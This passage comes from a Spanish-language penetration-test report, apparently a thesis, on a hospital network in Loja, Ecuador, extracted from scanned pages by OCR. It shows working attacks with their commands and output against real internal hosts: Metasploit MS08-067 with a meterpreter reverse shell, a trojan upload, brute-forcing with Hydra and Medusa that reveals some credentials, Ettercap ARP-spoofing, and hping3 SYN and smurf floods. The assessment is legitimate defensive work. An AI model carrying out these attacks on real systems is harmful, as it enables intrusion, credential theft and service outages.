de algunos enlaces Web de busqueda de Exploits: Security Focus de Symantec y
Exploit-DB. La busqueda se realiza mediante el cédigo de vulnerabilidad CVE, los
Exploits encontrados se pueden copiar en la base de datos de Backtrack para hacer

uso de ellos.

» About » Contact

Symantec Connect v =
A technical community for Symantec custome eg)ﬁ-users, developers, and.partners.

Join the conversation » v / .

Vulnerabilities (Page 1 of 1)

Vendor:

Title:

Version:

Search by CVE
CVE:

Multiple Vendor TLS Protocol Session Renegotiation Security Vulnerability

http://www.securityfocus.com/bid/36935

Vulnerabilities (Page 1 of 1)

llustracion 49. Busqueda de exploit mediante el codigo CVE en Security Focus.

» About x Contact

Symantec Connect
A technical community for Symantec customers,

[ info | [ discussion H exploit | [ solution references |

Multiple Vendor TLS Protocol Session Renegotiation Security Vulnerability

Bugtraq ID: 36935

Class: Design Error

CVE: CVE-2009-3555

Remote: Yes

Local: No

Published: Nov 04 2009 12:00AM

Updated: Nov 15 2011 12:48AM

Credit: Marsh Ray, Steve Dispensa, Martin Rex
Vulnerable: Zeus Technologies Zeus Web Server 4.2 r2

Zeus Technologies Zeus Web Server 4.2

Zeus Technologies Zeus Web Server 4.1 r5
Zeus Technologies Zeus Web Server 4.1 r4
Zeus Technologies Zeus Web Server 4.1 r3

llustracion 50. Cédigo CVE del exploit.

104




) Microsoft W

» About » Contact

Symantec Connect
A technical community for Symantec custome

\7 info ‘ discussion ‘ exploit ‘ | solution \ ‘ references ‘
Microsoft Windows Server Service RPC Handling Remote Code Execution Vulnerability
Attackers can use readily available tools to exploit this issue.
NOTE: Microsoft indicates that this issue is being exploited in the wild.

Reports indicate that this issue is being exploited in the wild by 'Trojan.Gimmiv.A'. Please see the references for more
information.

The following Windows 2000 proof of concept and exploit are available to members of the Immunity Partners program:

https://www.immunityinc.com/downloads/immpartners/ms08_067.tgz
https://www.immunityinc.com/downloads/immpartners/ms08_067-2.tgz

Immunity has released the following Windows XP SP3 exploit to members of the Immunity Partners program:

llustracion 51. Informacion de la vulnerabilidad y el exploit encontrado en Security Focus.

Security Focus permite a través de su interfaz web encontrar informacion acerca de la
vulnerabilidad como: la clase, ejecucion remota, la fecha de publicacion de la

vulnerabilidad y las versiones de sistemas que poseen la misma.

La verificacion de vulnerabilidades se realizO tomando como muestra una
vulnerabilidad del Servidor de Recaudacion obtenida con Nessus. Nessus proporciona
el coédigo de Plugin para actualizacion del sistema y que se puede encontrar en

Metasploit.

horts

Report Info Scan Servidores 10.104.32.52 445 [ tcp List m Detail

Hosts : : : . :
Plugin I7: 34477 Port/ Service: cifs (445/tcp) Severity: High

Ports / Protocols Plugin Nam 8-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Ex...

Synopsis: Arbitrary code can be executed on the remote host due to a flaw in the
‘Server service.

161/ udp

389/ tcp Description

The remote host is vulnerable to a buffer overrun in the 'Server'
service that may allow an attacker to execute arbitrary code on the
remote host with the ‘System’ privileges.

Solution
Microsoft has released a set of patches for Windows 2000, XP, 2003,
Vista and 2008 :

Download Report http:/fwww.microsoft com/technet/security/bulletin/ms08-067. mspx

Risk Factor: Critical

Show Filters

Reset Filters CVSS Base Score
10.0 (CVSS2#AV:N/AC:L/AU:N/C:C/I:C/A:C)
Active Filters CVSS Temporal Score

8.7 (CVSS2#E:H/RL:OF/RC:C)

Qe

llustracién 52. Informacion de la vulnerabilidad encontrada.
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En el menu Explotation Tools de Backtrack se encuentra el framework Metasploit,
para hacer uso de este se debe cargar todas las librerias necesarias desde la base de
datos, a través de msf-cli, una vez completa la carga. Se procede a ejecutar msf-
console desde donde se ejecuta el exploit.

=[ metasploit v3.7.0-release [core:3.7 api:1.0]
# -- --=[ 684 exploits - 355 auxiliary
# -- --=[ 217 payloads - 27 encoders - 8 nops

nsf > search MS08-067
[*] Searching loaded modules for pattern 'MS08-067'...

Exploits
Name Disclosure Date Rank Description
windows/smb/ms08_067 netapi 2008-10-28 great Microsoft Server Service Relative Path

Stack Corruption

=

sf > use windows/smb/ms08_067 netapi

nsf exploit(ms08 067 netapi) >

llustracién 53. Busqueda de exploit en Metasploit.

Se busca un exploit en base al identificador del Plugin de actualizacién

correspondiente a la vulnerabilidad encontrada.

msf> search MS08-067
Metasploit muestra el exploit que se puede utilizar, se copia el directorio del exploit y

se ejecuta la siguiente instruccion:

msf> use windows/smb/ms08_067_netapi
Se ejecuta cddigo de forma remota (payload) para acceder al sistema objetivo, por lo
general en entornos Windows se utiliza el payload de Meterpreter: reverse_tcp, ya que
este permite ejecutar y copiar procesos solamente en memoria evitando ser detectado

por un antivirus.

msf exploit(ms08_067_netapi)> set payload windows/meterpreter/reverse_tcp
Esta sentencia indica una conexion inversa que se utiliza generalmente para eludir
cortafuegos. En una conexion normal, un cliente se conecta a un servidor a través de
un puerto abierto, pero en el caso de una conexion inversa, el cliente abre el puerto en
que el servidor se conecta.
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Por ejemplo, un caballo de Troya, que se ejecuta en un equipo detras de un firewall
gue bloquea las conexiones entrantes, puede abrir una conexion de salida a un host
remoto a través de Internet. Una vez establecida la conexidn, el host remoto puede
enviar comandos al caballo de Troya. Los Caballos de Troya (herramientas de
administracion remota) utilizan una conexion inversa por lo general envia paquetes
SYN (TCP) a la direccion IP del atacante, el atacante escucha estos paquetes SYN y

acepta las conexiones que desee.

Existen usos legitimos para el uso de conexiones inversas, por ejemplo, para permitir
gue los hosts detrds de un firewall NAT puedan ser administrados de forma remota.
Estos anfitriones normalmente no tienen direcciones IP publicas, y asi que deben de
tener puertos en el firewall para abrir conexiones inversas a un servidor de

administracion central.

Una vez identificado el exploit se configura los siguientes parametros:

— LHOST: IP del host atacante.

— RHOST: IP del host objetivo.

— LPORT: Puerto por el cual el atacante podra acceder al sistema objetivo y
escuchar las respuestas. Por defecto el puerto 4443.

— RPORT: Puerto del host objetivo que sera vulnerado. Se configura de acuerdo al

exploit usado en este caso el puerto 445.

nsf exploit(ms08 067 netapi) > set payload windows/meterpreter/reverse_tcp
vayload => windows/meterpreter/reverse_tcp
nsf exploit(ms08 067 netapi) > set RHOST 10.104,.32.52

RHOST => 10.104.32.52

nsf exploit(ms08 0667 netapi) > set LHOST 10.104.32.189
_HOST => 10.104,32.189

nst exploit(ms08 067 netapi) > [}

llustracion 54. Configuracion del exploit.

Para observar si se tiene todos los parametros configurados se utiliza el comando:

show options
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sf exploit(ms08 067 netapi) = show options

Module options (exploit/windows/smb/ms08 067_netapi):

Name Current Setting Required Description

RHOST 10.104.32.52 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BRONSER yes The pipe name to use (BROWNSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 10.104.32.189 yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

0 Automatic Targeting

llustracion 55. Opciones de configuracion de exploit.

Una vez configurado el sistema objetivo se ejecuta el exploit, si el procedimiento es

correcto se crea una sesion entre los dos equipos.

nsf exploit(ms08 067 netapi) > exploit

[*] Started reverse handler on 10.104.32.189:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows 2000 - Service Pack 4 with MS05-010+ - lang:Spanish

[*] Selected Target: Windows 2000 Universal

[*] Attempting to trigger the vulnerability...

[*] Sending stage (749056 bytes) to 10.104,32.52

[*] Meterpreter session 1 opened (10.104.32.189:4444 -> 10.104.32,52:4945) at 2011-12-30 09:46:16 -0500

llustracion 56. Ejecucion del Exploit.

Se puede comprobar que esta vulnerabilidad puede permitir el ingreso al sistema y la
ejecucion de codigo. Desde el ambito de meterpreter se puede cargar cualquier

archivo ejecutable desde el equipo atacante.

meterpreter =tupload trojan.exe CiW\WINNT\A\system32

[*]1 uploading : trojan.exe -= C:‘\WINNT\system32

[#] uploaded : trojan.exe -= C:"WINNT‘.system32\trojan.exe
meterpreter > i

llustracion 57. Carga de virus en Sistema Victima con Metasploit.

Se escribe el archivo creado como trojan.exe directamente ya que fue almacenado en

el directorio root del equipo atacante, en caso contrario se escribe la ruta completa.
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Para ingresar a la consola de DOS del sistema victima y visualizar el archivo cargado

se ejecuta la siguiente instruccion:

> execute -f cmd.exe —c —i

C: \WINNT\systen32-f1

meterpreter > execute -f cmd.exe -c -1
Process 784 created.

Channel 1 created.

Microsoft Windows 2000 [Versifn 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

llustracion 58. Acceso remoto al Sistema Victima con Metasploit.

Una vez que accedemos al sistema se puede observar el contenido del directorio

principal, con el comando dir.

19/06/2003
15/12/1998
30/08/2002
15/12/1899
19/06,/2003
15/12/15998
15/12/1899
19/06,/2003
19/06,/2003
20/12/2004
09/06,/2004
20/12/2004
15/12/1809
15/12,/1998
07/08/15998
19/06/2003
15/12/15993
15/12/15998
15/12/1899
15/12/1998
19/06,/2003
19/06/2003
15/12/1998
19/06,/2003
15/12/1899
15/12/1998
19/06,/2003
15/12/1899
19/06,/2003
19/06,/2003
30/12/2011

67,
. 360
35,
804
B0,

126,
144
704
144

llustracion 59. Acceso al directorio principal del Sistema Victima.

856
808
656

862
224

0
0

728
088
. B48
176
552
. 200
128
632
056
128
928
824
888
336
504
560
520
. 384

tepmonul, d11T
tcpsves. exe
tdec.ocx
telephon.cpl
telnet.exe
termcap
termmgr.dll
termsrv.exe
tftp.exe
TFTP1376
TFTPE0S
TFTP936
tftpd.exe
themes . exe
threed32. ocx
thumbyw. d11
tifflt.d1l
timedate.cpl
timer.dry
tlntadmn.exe
tlntsess.exe
tlntsvr. exe
tlntsvrp.dll
t15236.d11
toolhelp.dll
tracert.exe
traffic.dll
tree.com
trksvr.dll
trkwks.dll

Al igual que la opcion upload también se puede descargar algun archivo o directorio

del sistema con el comando download. Para eliminar el archivo cargado se ejecutd

desde la consola DOS el comando del.
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5/ 072000 OoF = 58, 500 &
190652003 12,05 62,432 gactsry.dll
1571271999 1300 28, 407 xcopy . ane
19/06/,2003 1205 175, 736 XENROLL. DL
1571271999 13:00 Gal, 808 xiffra 0.4d11
23042006 0F: 00 19, 216 xolehlp.dll
FHNIF2003 163 113 zonedoff. reg
200252003 163 113 zonedon, req

4152 archivos £, 133, 138 bytes
44 dirs 163, 672,064 bytes libres

CoWINNT \Systeniz=del trojan.exe
del trojan. éxe

CoWWIMNT sy s ten 2]

llustracion 60. Acceso al directorio principal del Sistema Victima.

Con este test se pudo comprobar que no existe algun firewall activado en el sistema

atacado, o éste no detecto6 la inyeccion del archivo, por lo que el acceso al Servidor de

Recaudacion resulté satisfactorio. Se realizé un intento de acceso al Servidor SGH

utilizando el exploit, que permite vulnerar el puerto 135 del Servicio Msrpc en los

sistemas Windows, sin embargo no se obtuvo resultados similares.

msf exploit(ms03 026 dcom) = show options
Module options (exploit/windows/dcerpc/ms03_026 dcom)
Name  Current Setting Required Description

RHOST 10.104.32.51 yes The target address
RPORT 135 yes The target port

Payload options (windows/meterpreter/reverse_tcp):

MName
EXITFUNC
LHOST
LPORT

Exploit target:

Id MName

0  Windows NT SP3-6a/2000/¥P/2003 Universal

st exploitims03 026 _dcom) > exploit

[*] Started reverse handler on 10.104,32.189:4444

[*] Trying target Windows NT SP3-6a/2000/¥P/2003 Universal...

[*] Binding to 4d8fdabB8-7dlc-1lcf-86le-0020afEe7cS7:0.0@ncacn_ip_tcp:10.104,32,51[135] ...
[*] Bound to 4dS9fdab8-7dlc-1lcf-85le-0020afEe7c57: 0. 0@ncacn_1ip_tcp:10,104,32,51[135] ...
[*] Sending exploit ...

[*] Exploit completed, but no session was created.

Current Setting Required Description

thread yes Exit technique: seh, thread, process, none
10.104.32.189 yes The listen address
4444 yes The listen port

llustracion 61. Ejecucion de exploit en Servidor SGH.

3. Enrutamiento

Para obtener informacion del enrutamiento interno de la red, se utilizé la herramienta

Snmpchek que se encuentra en el menu Penetration Tools de Backtrack.
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Para realizar el escaneo se indica el sistema objetivo con la opcion —t.

root@bt: /pentest/enumeration/snmp/snmpcheck# ./snmpcheck-1.8.pl -t 10.104.32.1
snmpcheck.pl v1.8 - SNMP enumerator
Copyright (c) 2005-2011 by Matteo Cantoni (www.nothink.org)

[*] Try to connect to 10.104.32.1
[*] Connected to 10.104.32.1
[*] Starting enumeration at 2011-11-10 09:16:09

[*] System information

Hostname : HIAL

Description : 3Com Switch 4500 26-Port Software Version 3Com 0S V3.03.00s56
Uptime system : 0.00 seconds

Uptime SNMP daemon : 209 days, 22:56:55.85

Contact : mecueva@hotmail.com

Location : Loja, Ecuador

Motd v

[*] Network information

llustraciéon 62. Escaneo SNMP a Switch 1.

root@bt : /pentest/enumeration/snmp/snmpcheck# ./snmpcheck-1.8.pl -t 10.104.35.2
snmpcheck.pl v1.8 - SNMP enumerator
Copyright (c) 2005-2011 by Matteo Cantoni (www.nothink.org)

[*] Try to connect to 10.104.35.2
[*] Connected to 10.104.35.2
[*] Starting enumeration at 2011-11-10 09:19:43

[*] System information

Hostname : DPSL

Description : 3Com Switch 4500 26-Port Software Version 3Com 0S V3.03.00s56
Uptime system : 0.00 seconds

Uptime SNMP daemon : 98 days, 20:38:35.31

Contact : mecueva@hotmail.com

Location : Loja, Ecuador

Motd po-

[*] Network information

llustracion 63. Escaneo SNMP a Switch 2.

La herramienta Snmpcheck permite vulnerar el puerto udp 161 (snmp), que se
descubrié abierto y con el nombre de comunidad publica durante el andlisis de

vulnerabilidades, pudiendo obtener informacion sin la necesidad de loguearse.

En el caso del router del ISP no se encontré el puerto snmp abierto en la interfaz
privada por lo que no se puede obtener informacién de la tabla de enrutamiento.

La llustracién 64 muestra un intento de acceso al router del ISP.
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froot@bt: ¢ telnet 10.104,.32.53
Trying 10.104,32.53. ..
Connected to 10.104,32.53.
Fscape character is '™]'.

e o o o o o o o o o o o o o o o o o o o ok o o o o o o o ok o o o o ok o o o o o o o ok ko ko Rk kR R R Rk
EL ACCESOD NO AUTORIZADO A ESTE DISPOSITIVO ESTA PROHIEIDO.

Usted debe tener permiso explicito de la CNT para acceder y/o

Configurar este dispositivo. Todas las actividades realizadas

en el dispositivo son almacenadas.

UMALTHORIZED ACCESS TO THIS DEVICE IS PROHIEITED.

You must have explicit permission from CNT to access or
Configure this device. ALl activities performed on this device
are logged.

e o o o o o o o o o o o o o o o o o o o o o ok o o o o o o o o o o o o o o o o ok o o o o o o ko o ko o ko Rk kR kR ok
| HOSPITAL PROVINCIAL GEMERAL HISIDRO AYORA LOJA

| CORPORACION MACIONAL DE TELECOMUNICACIOMES (CNT)

| ASEGURAMIENTO DE DATOS E INTERMET

| 9 de Octubre y Luls Cordero Esq.

I

Fassword:

User Access Verification

llustracion 64. Acceso Telnet a router de internet.

de enrutamiento obtenida mediante snmpcheck.

Las tablas que se muestran a continuacion corresponden a la informacion de la tabla

Destino Mascara Siguiente Interface Protocolo
Salto

10.104.32.0 | 255.255.255.0 10.104.32.1 Vlan-interfacel Local
10.104.32.1 | 255.255.255.255 | 127.0.0.1 InLoopBackO local
10.104.33.0 | 255.255.255.0 10.104.33.1 Vlan-interfacel0 local
10.104.33.1 | 255.255.255.255 | 127.0.0.1 InLoopBackO local
10.104.35.0 | 255.255.255.0 10.104.35.1 Vlan-interface20 local
10.104.35.1 | 255.255.255.255 | 127.0.0.1 InLoopBackO local
10.104.36.0 | 255.255.255.0 10.104.35.2 Vlan-interface20 rip

10.104.37.0 | 255.255.255.0 10.104.35.2 Vlan-interface20 rip

127.0.0.0 255.0.0.0 127.0.0.1 InLoopBackO local
127.0.0.1 255.255.255.255 | 127.0.0.1 InLoopBackO local

Tabla 29. Tabla de enrutamiento Switch 3Com1.
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Destino Mascara Siguiente Interface Protocolo
Salto

10.104.32.0 | 255.255.255.0 10.104.35.1 Vlan-interface20 rip

10.104.33.0 | 255.255.255.0 10.104.35.1 Vlan-interface20 rip

10.104.35.0 | 255.255.255.252 | 10.104.35.2 Vlan-interface20 local
10.104.35.2 | 255.255.255.255 | 127.0.0.1 InLoopBackO local
10.104.36.0 | 255.255.255.0 10.104.36.1 Vlan-interfacel local
10.104.36.1 | 255.255.255.255 | 127.0.0.1 InLoopBackO local
10.104.37.0 | 255.255.255.0 10.104.37.1 Vlan-interfacel0 local
10.104.37.1 | 255.255.255.255 | 127.0.0.1 InLoopBackO local
127.0.0.0 255.0.0.0 127.0.0.1 InLoopBackO local
127.0.0.1 255.255.255.255 | 127.0.0.1 InLoopBackO local

Tabla 30. Tabla de enrutamiento Switch 3Com2.

Se puede observar en el Switch 2 las rutas entre las subredes, dadas mediante el
protocolo RIP. El trafico generado en estos equipos permite observar el protocolo
utilizado, asi como protocolos de comunicacion de todas las VLANs. Se debe
establecer limites de acceso de los usuarios correspondientes a cada VLAN para

evitar actividades de sniffing en la red.

] 11-08-11 Servidor Yoz _

File Edit Wiew Go Capture Analyze Statistics Te\ephon! Tools Intermals  Help

BUOEY CEXEE Qe aTL QAan #DB Y% E

Filter: B Expression... Clear Apply
o, Time Source Destination Protocol Length Info
6389 80.06238L TyanComp_73:d2:50 Broadcast ARP 64 who has 192.168.0.1057 Tell 192.168.0.20
6300 BO.067013 10.104.36.1 224.0.0.9 RIPV2 130 Response
6301 BO.067130 10.104.37.1 224.0.0.9 RIPY2 126 Response
6392 80.067220 10.104.35.2 224.0.0.9 RIPv2 90 Response
6303 BO.079475 3comEuro_8a;ad:dl Broadcast ARP 64 Gratuitous ARP for 10.104.35.1 (Request)
6304 80.176476 Intel_sf:44:a0 Broadcast ARP 60 who has 192.168.1.17 T7el1] 192.168.1.21
6395 80.281242 Syskonne_75:70:8d Broadcast ARP 64 who has 192.168.0.1057 Tell 192.168.0.10
6306 80378685 Cisco_ce:76:cl Broadcast ARP 64 who has 10.104,35.17 Tell 10.104.32.53
6307 BU.447814 Hewlettp_c3:bé:c8 Broadcast ARP 64 who has 10.104.32.247 Tell 10.104.32.51
6398 B1. 580180 10.104.32.5% 10.104.47.255 HBNS 96 Name guery NB MARIOENR-512F25<20>
6309 81, 580276 10.104.32.55 10.104,47.255 NENS 96 Name query NB MARIOENR-512F25<00>
6400 B1,837932 IcomEuro_Sa;ad:4f spanning-tree-(for-bridges) 00 sTP 120 MST. Root = 32768/0/00:04:cL:F4:dd: 80 Cost = 2000¢
6401 82.041878 10.104.33.2 200.107.60.58 DNS 86 Standard query AARA 2.pool.ntp.org. example. com
6402 82.329146 10.104.32.55 10.104.47.255 NENS 96 Name query NB MARIOENR-512F25<20>
6403 82,329241 10.104.32.35 10.104.47.2553 NENS 96 Mame guery NB MARIOENR-512F25<00>
6404 82.455406 Cisco_ce:76:cl Broadcast ARP 64 who has 10.104.35.17 7ell 10.104.32.53
6405 82.745690 10.104.32.36 10.104.47.255 NENS 96 Name query NB APT.IMINENT.COM<00>
6406 82,925460 Quantaco_ch;0%:8f Broadcast ARP 64 who has 10.104.32.247 Tell 10.104.32.227
6407 B3.079103 10.104.32.55 10.104.47.255 HBNS 06 Mame fuery MB MARIOENR-512F25<20
6408 8§3.079205 10.104.32.55 10.104.47.255 HEBNS 96 Name guery NB MARIOEMR-312F23<00>
6409 83,327606 Syskonne_75:70:8d Broadcast ARP 64 who has 192.168.0.1057 Tell 192.168.0.10
m 4
[ Frame 6387: 433 hytes on wire (3464 bits), 433 hytes caprured (3464 bits)
¥ Ethernet IT (VLAN tagged), Src: Syskonne_75:70:8d (00:00:5a:75:70:8d), Dst: Broadcast (Ff:ff:ff:ff:ff:ff)
[ Internet Protocol version 4, Src: 182.168.0.10 (192.168.0.10), Dst: 255.255.255.255 (255.255.255.255)
[ User Datagram Protocol, Src Port: hnetgame (1119), Dst Port: 56252 (56252)
| Data (387 bytes)

llustracion 65. Captura Wireshark, trafico de red.
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4. Descifrado de contrasefia

¢+ Buscar contrasefas por fuerza bruta para aplicaciones de los equipos de red

La técnica de fuerza bruta para descubrir usuarios y contrasefias requiere de una lista
de palabras para efectuar las combinaciones necesarias hasta encontrar la correcta.
Para realizar este ataque se elaboré un archivo de texto con palabras claves
(diccionario.txt).

Backtrack contiene algunas herramientas para descifrado de contrasefias mediante

fuerza bruta, se han seleccionado dos de las mas utilizadas Hydra y Medusa.

Los parametros utilizados en Hydra corresponden a la busqueda de login —L, y
password —P en un diccionario, afiadimos la opcién —e para las comprobaciones con
password null (n) y comprobaciones con login y password similares (s), la opcion —f
gque indica que se detenga la busqueda cuando se haya acertado. El protocolo que se

va vulnerar y el nombre de la pagina, en el caso del protocolo http.

# hydra 10.104.32.1 -L /diccionario.txt —P /diccionario.txt —e ns —f http-get
/en/login.html

En el caso de Medusa se aument6 los parametros —v (verbose) que permite agilizar la

busqueda.

# medusa -h 10.104.32.1 —L /diccionario.txt =P /diccionario.txt —e ns —v 6 —F —M http
—m DIR:GET/en/login.html

Las herramientas utilizadas muestran el nombre de usuario de los equipos a partir de

las palabras del diccionario, sin embargo no se pudo descubrir el password.

rootgbt:~# hydra 10.104.32.1 -L /root/Desktop/Descifrado/diccionario.txt -P /root/Desktop/Descifrado/dic
;1onario. txt -e ns -f http-get /en/loqin.htal

dydra v6.2 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes.
dydra (http://wwv.thc.org/thc-hydra) starting at 2011-10-19 10:22:58

[DATA] 16 tasks, 1 servers, 440 login tries (1:20/p:22), ~27 tries per task

[DATA] attacking service http-get on port 80

[80) [www] host: 10.104.32.1 login: admin password:

(80) [www] host: 10.104.32.1 login: admin password: adain

[80] [www] host: 10.104.32,1 login: admin password: adminl23

(80) [www] host: 10.104.32.1 login: admin password: sysadmin

[80] [www] host: 10.104.32.1 login: admin password: systea

(80] [www] host: 10.104.32.1  login: NENNEEEN password: IS

[STATUS] attack finished for 10.104.32.1 (valid pair found)

llustracion 66. Descifrado de contrasefia por fuerza bruta a Switch 3Com — Hydra.
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[ rootght:-# medusa -h 10.104.32.1 -U /root/Desktop/Descifrado/diccionario.txt -P /root/Desktop/Descifradd
fdiccionario.txt -e ns -v 6 -F -M http - DIR:GET/en/login.htal
Wedusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmkgfoofus.net>
GENERAL: Module parameter: DIR:GET/en/login.htal
GENERAL: Parallel Hosts: 1 Parallel Logins: 1
GENERAL: Total Hosts: 1
GENERAL: Total Users: 19
GENERAL: Total Passwords: 19
ACCOUNT CHECK: [http] Host: 10.104.32.1 (1 of 1, 0 cosplete) User ] of 19, O complete) Password:
(1 of 21 complete)

ACCOUNT FOUND: [http] Host: 10.104.32.1 UserlENFassword: [SUCCESS)
GENERAL: Medusa has finished.

llustracion 67. Descifrado de contrasefia por fuerza bruta a Switch 3Com — Medusa.
% Identificar sistemas vulnerables a ataques de descifrado de contrasefias

El acceso a los equipos de red se realiza via telnet o http, por tanto todos estan
expuestos a un ataque de descifrado de contrasefas.

Ademas de las herramientas mencionadas, se realiz6 un ataque Man in the Middle, a
través de la herramienta Ettercap. Este ataque permitié obtener el usuario y password
de los equipos de red a través de una conexion http desde un equipo de la UGI
(10.104.32.185).

La siguiente ilustracidbn muestra el escenario del ataque realizado.

IP: 10.104.32.1 . [ =
MAC: 00:24:73:8A:AD:41 Ueuaria e L
i I T T gy RS PRSI S T Ty me——)
!1!1 éﬁ:! 5 I e— - - TR R
o g
FLUJO MORMAL

IP: 10.104.32.185 v
MAC: 00:1C:C0-20041:23 155

Equipo ===
Alacanta T

MAC SWITCH: 00:24:73:8A:AD:41
MAC USUARIO: 00:1C:C0:20:A1:23

% ETEERCAP]

IP; 10,104.32 189
MAC: 00:06:29:FT:C4:FE

llustracion 68. Esquema de red de Test de descifrado de contrasefia.

Para empezar el Sniffing con Ettercap en el menu Sniff, se seleccioné Unified sniffing,
ya que el modo Bridged se utiliza cuando el atacante se ubica como pasarela con dos
interfaces de red. Se selecciond la interfaz de red que se requiere poner en modo

monitor, es decir a través de la cual capturamos el trafico.
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EBeomreos —oix

B Unified sniffing... Shift+U
() Bridged sniffing.., Shift+8

3( Set peap filter... P

llustracion 69. Activar Sniffing mediante Ettercap.

Para seleccionar los equipos fuente y destino de la transmision que se desea capturar

se realiza un escaneo de hosts a partir del menu Hosts.

Start  Targets RabREl View Mim  Fiters Logging Plugins

[ Host st H

B Scanforhosts  Ctrl+s
{5 Load from file.., Ctrl+O
(& savetofie,.. Ctri+s

llustracion 70. Escaneo de equipos en Ettercap.

Una vez completo el escaneo, se obtiene la lista de hosts de la red, correspondientes
al rango de direcciones al cual pertenece la direccion IP de la tarjeta de red del
atacante. Se selecciona como destinol el equipo servidor y como destino2 el cliente

victima.

En el mend Mitm se selecciona la opcién del ataque a realizar, en este caso ARP
Spoofing. Una vez realizado el proceso se debe esperar hasta que la victima intente

loguearse al equipo servidor o acceder a algun servicio.

En el menud View se puede observar las conexiones realizadas asi como los datos de

cada transmisioén o conexion.
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&~ ettercap NG-0.7.3 v A
Start Targets Hosts View Mitmm FEilters Logging Plugins Help

Host List X [Connections X | Connection data X

Host Port - Host Port Proto State Bytes
10,104,32,185 2094 - 10.104.32.1 80 T closed 5098
10,104,32.185 2095 - 63.245.217.112 443 7T closed 17700
10.104.,32.185 2097 - 199.7.71.72 80 T closed 2588
10.104.32.185 2099 - 199.7.71.72 B8O T closed 2352
10,104,32,185 2101 - 10.104.32.1 80 T closed 4681
10.104.32.185 2103 - 10.104.32.1 80 T closed 522
10.104.32,185 2106 - 10.104,32.1 B8O T closed 509
View Details Kill Connection Expunge Connactions

GROUP 1 :10.104.32.53 00:1D:70:CE:76:C1
GROUP 1 :10.104.32.1 00:24:73:8AAD:41

GROUP 2 : 10.104.32.55 00:1C:CO:DE:SF:124
GROUP 2 : 10.104.32.185 00:1C:C0:20:A1:23
Starting Unified sniffing...

llustracion 71. Ataques Man in the middle con Ettercap.

It ettercap NGO.7.3
Start Jargets Hosts View Mitm Ffiters Logging Plugins Help

Host Uist X Connections X [Connection data X

10.104.32,185:2101 10.104.32,1:80
ferer: http://10.104.32.1/web. -
Cookie: use lang=0; user_name-{llll

s 5o d-

s e Gk ds e e s slelealsnaMeanslsstls
#N. ... Xskiw.udZG.L.bR. 2{u....

llustracion 72. Descifrado de contrasefias mediante ataque MIM. Ettercap.

Una vez realizado el test se puede concluir que el uso de protocolos para el acceso a
los equipos sin encriptacién es una amenaza para la seguridad de los mismos y mas

aun cuando su administracion se realiza desde la red de usuario final.

« Identificar sistemas con usuario o cuenta de sistema que usan las mismas

contrasefas

Utilizando el usuario y password descifrados se obtuvo acceso a los equipos de red,
esto permite corroborar la informacion proporcionada por el administrador de la UGI
en la entrevista, acerca del uso de la misma contrasefia para todos los equipos

administrables de la red.
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5. Testeo de denegacién de servicios

% Identificar los sistemas vulnerables a ataques de denegacién de servicios

Para el testeo de DoS se realizé dos tipos de ataques: Ataque smurff y SYN-Flood, a
través de la herramienta Hping3. En la red se puede observar gran cantidad de trafico
broadcast que no es controlado, por esta razén se realiz6 el ataque Smurff al servidor
SGH, obteniendo como resultado la inundaciéon de la red con paquetes broadcast,

dejando fuera de servicio el servidor e internet.

La instruccién de Hping para realizar el ataqgue SYN-FLOOD en el router de internet
es:
# hping3 —i u20 —S —p 80 10.104.32.51

Donde —i u20 indica el intervalo de tiempo entre los paquetes enviados, -S el tipo de

paquetes SYN y —p indica el puerto a donde se envia los paquetes.
# hping3 -1 -C 8 -K 0 --spoof 10.104.32.51 --flood 10.104.47.255

En esta instruccién usamos -1 para indicar el uso del protocolo icmp, -C 8 -K 0 un
paquete tipo 8, cddigo 0, es decir un echo Request o ping. Con la opcion —spoof
indicamos que los paquetes generados se envien con direccion de origen
10.104.32.51, y el destino 10.104.47.255, con la finalidad de que los equipos que
reciben el mensaje broadcast respondan al servidor y colapse la red.

root@bt:-# hping3 -1 -C 8 -K 0 --spoof 10.104.32.51 --flood 10.104, 47,255
HPING 10.104.47.255 (ethl 10.104.47.255): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
rC
- 10.104.47.255 hping statistic ---
7053182 packets tramitted, O packets received, 100% packet loss
round-trip minfavg/max = 0.0/0.0/0.0 ms

llustracion 73. Ataque SYN-FLOOD

El ataque culmina cuando suspendemos la instruccion con la combinacion de teclas
Ctrl +C.
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10. )00 0.104.32 0 .255 CMP o (ping) request (1 be/le) = il

2 0.000010 .104.32.51 10.104.47. (ping) request ( 0c06, seq(be/le)=5010/37395
3 0.000016  10.104.32.51 10.104.47.255 ICMP  Echo (ping) request (i1d=0x0c06, seq(be/le)=5266/37396
4 0.000153  10.104.32.51 10.104.47.255 ICMP  Echo (ping) request (1d=0x0c06, seq(be/le)=5522/37397
50.000163  10.104.32.51 10.104.47.255 ICMP  Echo (ping) request (id=0x0c06, seq(be/le)=5778/37398
6 0.000169  10.104.32.51 10.104.47.255 ICMP  Echo (ping) request (1d=0x0c06, seq(be/le)=6034/37399
7 0.000175  10.104.32.51 10.104.47.255 ICMP  Echo (ping) request (i1d=0x0c06, seq(be/le)=6290/37400
8 0.000180  10.104.32.51 10.104.47.255 ICMP  Echo (ping) request (1d=0x0c06, seq(be/le)=6546/37401
9 0.000186  10.104.32.51 10.104.47.255 ICMP  Echo (ping) request (1d=0x0c06, seq(be/le)=6802/37402
10 0.000192  10.104.32.51 10.104.47.255 ICMP  Echo (ping) request (1d=0x0c06, seq(be/le)=7058/37403
11 0.000198  10.104.32.51 10.104.47.255 ICMP  Echo (ping) request (1d=0x0c06, seq(be/le)=7314/37404
12 0.000203  10.104.32.51 10.104.47.255 ICMP  Echo (ping) request (1d=0x0c06, seq(be/le)=7570/37405
13 0.000663  10.104.32.51 10.104.47.255 ICMP  Echo (ping) request (i1d=0x0c06, seq(be/le)=7826/37406
14 0.000693  10.104.32.51 10.104.47.255 ICMP  Echo (ping) request (1d=0x0c06, seq(be/le)=8082/37407
